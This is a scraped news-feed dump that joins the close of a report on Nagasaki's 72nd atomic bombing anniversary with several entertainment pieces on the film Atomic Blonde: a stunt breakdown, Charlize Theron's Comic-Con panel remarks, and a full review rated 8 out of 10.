“The nuclear threat will not end as long as nations continue to claim that nuclear weapons are essential for their national security,” Taue said.

Taue sharply criticized Prime Minister Shinzo Abe’s government for what he said were empty promises about working to achieve a nuclear-free world. He said Japan’s absence even during diplomatic negotiations for the U.N. Nuclear Prohibition Treaty, adopted in July, is “incomprehensible to those of us living in the cities that suffered atomic bombings.”

The outspoken mayor praised the atomic bombing survivors, or “hibakusha,” for their lifelong devotion to the effort. He urged Japan’s government to change its policy of relying on the U.S. nuclear umbrella and join the nuclear prohibition treaty as soon as possible.

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“Nuclear weapons are incompatible with mankind,” said Yoshitoshi Fukahori, an 88-year-old survivor of the Nagasaki atomic bombing who lost his sister in the blast. He said that as he rushed home the morning after the bombing, the shocking view from the hilltop — his hometown flattened and the landmark Catholic church on fire — made him cry.

Fukahori, who operates a library of atomic bombing photos, said Japan, which has since rebuilt itself as a pacifist nation, should never lose the respect and trust it has regained from the international community.

Abe, in a speech that was almost a repeat of what he said in Hiroshima, did not mention the U.N. nuclear ban treaty.

More than 175,000 hibakusha have died in Nagasaki since the attack, including 3,551 in the past year, while over 300,000 of their peers have died in Hiroshima. The average age of the survivors is more than 81 years. Many suffer from long lasting effects of radiation.

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]]> https://briefnews.eu/japan-marks-the-72nd-anniversary-of-the-atomic-bombing-of-nagasaki-amid-us-north-korea-tensions/feed/ 0 How the Bone-Crunching Stunts of ‘Atomic Blonde’ Were Achieved https://briefnews.eu/how-the-bone-crunching-stunts-of-atomic-blonde-were-achieved/ https://briefnews.eu/how-the-bone-crunching-stunts-of-atomic-blonde-were-achieved/#respond Thu, 03 Aug 2017 20:55:59 +0000 http://briefnews.eu/how-the-bone-crunching-stunts-of-atomic-blonde-were-achieved/ atomic blonde review

John Wick co-director David Leitch went solo to helm the new Charlize Theron spy film Atomic Blonde, and he proved he could deliver a slick, stylish thriller full of memorable action sequences. I’m sure you’ve already heard about one scene that’s made to look like a single shot, because it’s already earned legendary status among action movie geeks and will rightfully be praised for years to come.

But that’s not the only worthwhile action beat in the movie, and we’ve gathered a couple of videos from the production’s crew that explain how they worked with the actors to pull off a brutal, bone-crunching barrage of punches, kicks, and in-camera car chase stunts that drop us into the world of 1980s Berlin. Find out how these Atomic Blonde stunts were achieved below.

We’ve already showed you a cool video of Theron in training, so make sure to check that out if you haven’t. But today, Yahoo has a nice video breakdown with Leitch about the tail end of that aforementioned long take escape sequence. In the movie, Theron’s secret agent character Lorraine Broughton is attempting to escort a contact named Spyglass (Eddie Marsan) who possesses important information across the border to West Berlin. After Lorraine battles her way through a ferocious stairwell fight (a scene Leitch told Wired was largely practical, although there was some foam padding incorporated into the wall), she and Spyglass get in a car and hit the road – only to be immediately followed by more baddies. I’ll let Leitch take it from here:

It’s cool to hear about this scene because it’s a tour de force of action movie filmmaking, but something nagged at me when I watched the movie and I think this video confirms it: we see Charlize shoot the car behind them which flips into the street, but when they quickly reverse, that car is no longer there. There wasn’t enough time for it to move out of the way, and in a scene which pays so close attention to the details, I’m surprised they just shrugged that one off.

Once you’ve watched that video, be sure to check out this excellent fight breakdown from Wired with second unit director and stunt coordinator Sam Hargrave, which focuses on the “Father Figure” hose fight that takes place soon after Lorraine arrives in Berlin. This one is full of some good, meaty nuggets of info about strategically placed glass explosions, the ins and outs of the film’s painful-looking nut shots, and much more.

Atomic Blonde, which is based on the 2012 graphic novel The Coldest City, is in theaters now.

Oscar-winner Charlize Theron explodes into summer in Atomic Blonde, a breakneck action-thriller that follows MI6’s most lethal assassin through a ticking time bomb of a city simmering with revolution and double-crossing hives of traitors.

The crown jewel of Her Majesty’s Secret Intelligence Service, Agent Lorraine Broughton (Charlize Theron) is equal parts spycraft, sensuality and savagery, willing to deploy any of her skills to stay alive on her impossible mission. Sent alone into Berlin to deliver a priceless dossier out of the destabilized city, she partners with embedded station chief David Percival (James McAvoy) to navigate her way through the deadliest game of spies.

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]]> https://briefnews.eu/filmcast-ep-429-atomic-blonde-guest-britt-hayes-from-screencrush/feed/ 0 Charlize Theron on the Future of ‘Atomic Blonde’, ‘Mad Max’, James Bond and Female Characters https://briefnews.eu/charlize-theron-on-the-future-of-atomic-blonde-mad-max-james-bond-and-female-characters/ https://briefnews.eu/charlize-theron-on-the-future-of-atomic-blonde-mad-max-james-bond-and-female-characters/#respond Sat, 29 Jul 2017 11:37:13 +0000 http://briefnews.eu/charlize-theron-on-the-future-of-atomic-blonde-mad-max-james-bond-and-female-characters/ atomic blonde trailer

One of the panels that went overlooked at San Diego Comic-Con amidst all the major news and trailers from the rest of the convention was Entertainment Weekly‘s own “Women Who Kick Ass” panel. Usually, the panel features an ensemble of tough, badass women from movies and television, but this year’s panel focused on just one: Charlize Theron.

With Atomic Blonde in theaters this weekend, Charlize Theron continues to proved that she’s a certified action star. As Theron said during the panel, she sought out the movie herself because she wanted a very specific movie to play with, a movie where she could play a character who was “unapologetic and can play by the same rules as men.” Atomic Blonde is definitely that movie, and it opens up a possible franchise where Charlize Theron can keep returning as the secret agent over and over again.

Along with discussing the future of Atomic Blonde with Entertainment Weekly senior writer and panel moderator, Sara Vilkomerson, the actress also talked about a possible follow-up for Mad Max: Fury Road, what she thinks of the suggestion that she be the next James Bond, one of her proudest moments on screen, and what she wants to see from future female characters in movies.

The Future is Female

Charlize Theron grew up being inspired by the likes of Sigourney Weaver in Alien and Aliens, which gave her a new perspective on womanhood completely. It wasn’t just that Ellen Ripley was a badass, but also who she was and how capable she was as a woman. It’s a movie that she revisited when she made Monster.

It’s not hard to see how an actress like Weaver and the characters she’s played over the years have influenced Theron, who has taken to playing strong women across a variety of movies, even if those movies didn’t always turn out as everyone hoped. But Theron still wants to see female characters grow and not fall into the same tropes that have been around Hollywood for decades. Theron explained during the panel:

“When a story doesn’t quite work, the female characters in a movie are used to emotionally manipulate in a movie [and] men don’t get used that way. We’re known to be nurturers, we’re not thought of as just warriors. We need a reason to become warriors, and I’m sick of that. We don’t need to lose a child or to lose a husband or need some kind of revenge story to become a warrior.”

Part of what makes Atomic Blonde work so well is that we don’t need to know much about her character to just accept who she is. Theron says, “I love that about Lorraine. She exists and she’s just simply her. We don’t explain why or why she’s any good at her job. She’s just there, and I love that about her.” She adds that a female character doesn’t need to be used to manipulate emotions to make an impact on the audience, saying:

“I love an emotional story, but there are different ways to tell those stories than to go for those easy, manipulative emotions. But I think sometimes there’s a laziness behind it. It’s such easy choices. Of course  I’ll care for this woman because her husband died. But what if you don’t tell me that, can you make me still feel something for her?  I want to see interesting choices with women, but not the easy mother-nurture, madonna-whore complex that we’ve seen so many times before.”

Mad Max Fury Road Prequel - Furiosa

Mad Max, James Bond and Arrested Development

Since Charlize Theron knows exactly what she wants from female characters in the future, what can we expect to see from the actress as she continues her acting career? Fans have been waiting to see what will happen next in the Mad Max franchise after Theron stole the show as Furiosa in Mad Max: Fury Road, and it sounds like the actress is in the same boat. Theron said that she’s totally game for a Mad Max sequel, but she’s still waiting on director George Miller to make it happen. She does note that she’ll be 42 in August though, so she wants to get to it sooner than later.

Interestingly enough, Theron revealed that she knows even more about Furiosa than fans do. The actress knows how Furiosa lost her arm and how she came to be in The Wasteland. She also reaffirmed the idea that she was brought to Immortan Joe for the purpose of breeding, but discovers that she’s barren. The character is treated as having no purpose in this world because she can’t have children, but she carves out a place for herself, which is a big part of what makes Furiosa such a great character. She’s a woman who doesn’t have to be what others expect her to be.

The strength that Theron has shown on the big screen has Chris Hemsworth championing the actress to take over the mantle of James Bond once Daniel Craig is done with the role. However, referring to the role she plays in Atomic Blonde, she thinks the film gives her “something that could hopefully live and breathe in the same kind of format, we could make a couple more movies and see this agent live.” So while she’s not necessarily opposed to playing James (or Jane) Bond, she says, “I’m fine with leaving James Bond over to Daniel Craig or to Idris Elba, who would be great, and I’ll do Lorraine.” That’s a nice plug for Idris Elba as James Bond as well as hope for an Atomic Blonde sequel to come together.

Finally, Charlize Theron was asked whether we might see her go back to some different spy roots by returning as Rita on Arrested Development when the show comes back for a fifth season. Not only did she acknowledge that appearing on that show is still one of her proudest moments, but she said, “I love those guys, I love that that world, and I love what they do with their writing. So if they called, of course I would make myself available.”

For more from Charlize Theron, watch the entire “Women Who Kick Ass” panel from Comic-Con right here:

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Note: This review originally ran following the world premiere of Atomic Blonde at the SXSW Film Festival. It is in theaters today.

In a nutshell: Atomic Blonde is about a badass, bisexual British secret agent who fights like John Wick and seduces like James Bond who travels to Germany days before the fall of the Berlin Wall to recover some stolen intelligence. She wears a number of amazing outfits, kills a whole bunch of bad guys, and just looks terrific as she struts through noisy nightclubs and desolate alleyways to a soundtrack of ’80s synth pop. It is excellent, two-fisted entertainment and further proof that Charlize Theron is one of our great modern action heroes.

In a smaller nutshell: Atomic Blonde is one of the most purely entertaining action movies coming out this year.

Anyone disappointed that David Leitch let fellow John Wick director Chad Stahelski helm the sequel by himself will be pleased to know that Leitch’s first solo gig is cut from that same tough, stylish, merciless cloth. That means we’re getting double the number of action movies that are all about hard-hitting stunts and lengthy shots that let you actually appreciate those hard-hitting stunts. Leitch, a former stunt performer, and stunt coordinator, knows how to stage astonishing action and he’s wise enough to know that we want to see it all clearly.

Of course, there’s a reason everyone is punching and kicking and knifing and vehicular homicide-ing each other in Atomic Blonde. Theron is Lorraine Broughton, an ice-cold secret agent who is sent to Berlin after another spy (and one-time lover) is murdered, and a top secret list of spies and their codenames is stolen by a rogue KGB operative. In this political powder keg of a city, she meets, and quickly learns to distrust, David Percival (James McAvoy in full scumbag mode), England’s man-on-the-ground who has “gone native.” Pretty soon, the complicated and sometimes convoluted espionage twists give way to Lorraine having to kill everyone.

It’s the general plottiness of Atomic Blonde that sometimes drags it down and you can feel the shape of a leaner, faster movie lurking within the slightly-too-long running time. Like many spy movies, the plot twists and double crosses pile up with each passing scene. Not knowing what anyone is doing or thinking or planning at a given moment can be as exhausting as it is thrilling. The film does reward you for sticking with it, but it’s not always clear when you’re deliberately not supposed to know what’s going on or if you just missed a small but vital plot point. Kurt Johnstad‘s screenplay (adapted from the graphic novel The Coldest City by Antony Johnston and Sam Hart) is dense and complex, and there are moments when it feels like some of the finer points are lost in execution. Think Tinker, Tailor, Soldier, Spy with more car crashes.

But once the action kicks in, it becomes easy to forgive just about everything else. Leitch is a stylish filmmaker, and every shot has something to savor: the gaudy colors of a West Berlin bar; the suffocating despair of an East Berlin neighborhood; chase sequences set against the backdrop of protests. Transitional titles depicted as graffiti being sprayed across the screen sound like they could be too much, but they’re perfectly in-line with the film’s hyper-stylized world. The atmosphere is provided by Tyler Bates’ period-appropriate synth score and a soundtrack of recognizable ’80s hits that accompany virtually every scene in the movie. In many ways, this is the too-cool, too-weird, too-grungy feeling that Suicide Squad tried and failed to nail last year.

At the center of it all is Charlize Theron and Atomic Blonde is very much the Charlize Theron show. Lorraine Broughton is less of a character and more of an attitude – you don’t learn a thing about her personal life or what she wants or needs as a human being, but there’s a thrill to be had from watching a powerful performer play someone who is just really, really good at their job. Lorraine is a fascinating companion to Theron’s other great action heroine, Mad Max: Fury Road‘s Furiosa: the latter fights from the heart, during the other fights because she can emotionally divorce herself from the battle entirely. It’s a true movie star performance, a case where a character works solely because the actor fills the gaps with unsaid history and pure gravitas.

It helps that Theron (like Keanu Reeves in the John Wick movies) does many of her own stunts and Leitch films his action to make sure we realize this. But Lorraine Broughton isn’t just Lady John Wick. She’s no superhero, no unstoppable force. While they share a similar, vicious style of combat, Theron is just a person, albeit a deadly one. She gets hit as often as she hits and gets knocked down as often as she knocks someone else down. Every single fight in Atomic Blonde, even the one-on-one brawls, is an ordeal. There are no easy victories, and the film doesn’t shy away from showcasing its leading lady getting beaten to hell. She wears her battle scars throughout the entire movie.

This is especially evident in the film’s best scene: a ten-minute long fight through an apartment building (stitched together to look like a single shot) where Lorraine battles a team of Russian agents. It’s a tremendous fight scene because it’s staged with so brilliantly and shot so audaciously, but it becomes remarkable because it acknowledges just how hard fighting someone to death must be. By the final stretch of this real-time brawl, Theron and her opponents are noticeably battered, panting, unsteady on their feet, and frequently backing away from each other to catch their breath and summon a second (and third and fourth and fifth) wind. It’s the alley fight from They Live, the street fight from that infamous Deadwood episode and any scene from The Raid were all combined into one of the most impressive action scenes…of the past decade? Hyperbole may be earned here.

I once wrote that James Bond would be a more efficient secret agent if he was bisexual (doubling his odds of seducing information out of people!) and Lorraine Broughton is up to that challenge. Although she initially sleeps with a French spy (Sofia Boutella) for work purposes, the two continue to see each other throughout the film. Some will accuse this of Leitch using girl-on-girl imagery to get a literal rise of the men in the audience (and their sex scene is shot like a soft-core porn film if we’re going to be honest here), but let’s focus on what Atomic Blonde does that’s so unique. Here’s an action movie about a tough-as-nails warrior whose attraction to both sexes is not treated as a sign of villainy or betrayal or an entirely broken moral compass. Lorraine Broughton is duplicitous because of her career choice, not because she likes to get it on with men and women. It’s not the most eloquent pro-LGBTQ statement out there, but seeing a proper action hero so unashamed of her sexuality (and perhaps even empowered by it) is a breath of fresh air.

Atomic Blonde can be shaky, but it is also sexy and stylish and shot by filmmakers who actually value action. It’s cool without being too cool. David Leitch is going to be making action movies for a long time…and hopefully Charlize Theron will star in a few more of them.

/Film Rating 8 out of 10

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